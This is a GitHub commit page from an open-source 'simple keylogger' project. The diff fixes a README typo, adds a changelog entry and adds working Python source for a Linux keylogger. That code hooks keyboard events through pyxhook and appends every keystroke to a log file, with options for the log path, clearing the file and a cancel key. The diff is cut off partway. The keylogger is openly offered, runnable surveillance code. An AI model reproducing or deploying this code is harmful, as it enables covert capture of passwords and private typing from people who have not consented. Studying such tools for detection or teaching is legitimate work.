Skip to content

Commit

Permalink
fixed typos
Browse files Browse the repository at this point in the history
  • Loading branch information
GiacomoLaw committed Dec 20, 2018
1 parent 6ed0edb commit c4db7ad
Show file tree
Hide file tree
Showing 15 changed files with 570 additions and 1 deletion.
4 changes: 4 additions & 0 deletions linux/CHANGES.md
Original file line number Diff line number Diff line change
@@ -1,3 +1,7 @@
## 2.7.3 (2018-12-20)

- Fixed typo

## 2.7.2 (2018-12-05)

- Add CHANGES file and update `setup.py` file - Thanks **@GreatBahram**
Expand Down
2 changes: 1 addition & 1 deletion linux/README.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# Keylogger

**Keylooger** is simple keylogger for Windows, Linux and Mac.
**Keylogger** is simple keylogger for Windows, Linux and Mac.
## Installation

The following instructions will install Keylogger with pip Python package manager.
Expand Down
Empty file.
7 changes: 7 additions & 0 deletions linux/build/lib/keylogger/__version__.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
__title__ = 'keylogger'
__description__ = ' A simple keylogger for Windows, Linux and Mac '
__url__ = 'https://simple-keylogger.github.io'
__version__ = '2.7.2'
__author__ = 'Giacomo Lawrance'
__author_email__ = '[email protected]'
__license__ = 'MIT'
63 changes: 63 additions & 0 deletions linux/build/lib/keylogger/keylogger.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,63 @@
#!/usr/bin/env python
import os
from argparse import ArgumentParser

from keylogger import pyxhook


def main():
parser = ArgumentParser(description='A simple keylogger for Linux.')
parser.add_argument(
'--log-file',
default=os.path.join(os.getcwd(), 'output.log'),
help='Save the output in this file.',
)
parser.add_argument(
'--clean-file',
action='store_true',
default=False,
help='Clear the log file on startup.Default is No',
)
parser.add_argument(
'--cancel-key',
help='A single key that use as the cancel key, Default is ` (backtick)',
)

args = parser.parse_args()

log_file = args.log_file

if args.clean_file:
try:
os.remove(log_file)
except OSError:
# TODO: log with logging module
pass

cancel_key = args.cancel_key[0] if args.cancel_key else '`'

def OnKeyPress(event):
with open(log_file, 'a') as f:
f.write('{}\n'.format(event.Key))

if event.Ascii == cancel_key:
new_hook.cancel()

new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
new_hook.HookKeyboard()

try:
new_hook.start()
except KeyboardInterrupt:
# User cancelled from command line.
pass
except Exception as ex:
# Write exceptions to the log file, for analysis later.
msg = 'Error while catching events:\n {}'.format(ex)
pyxhook.print_err(msg)
with open(log_file, 'a') as f:
f.write('\n{}'.format(msg))

if __name__ == '__main__':
main()
Loading

0 comments on commit c4db7ad

Please sign in to comment.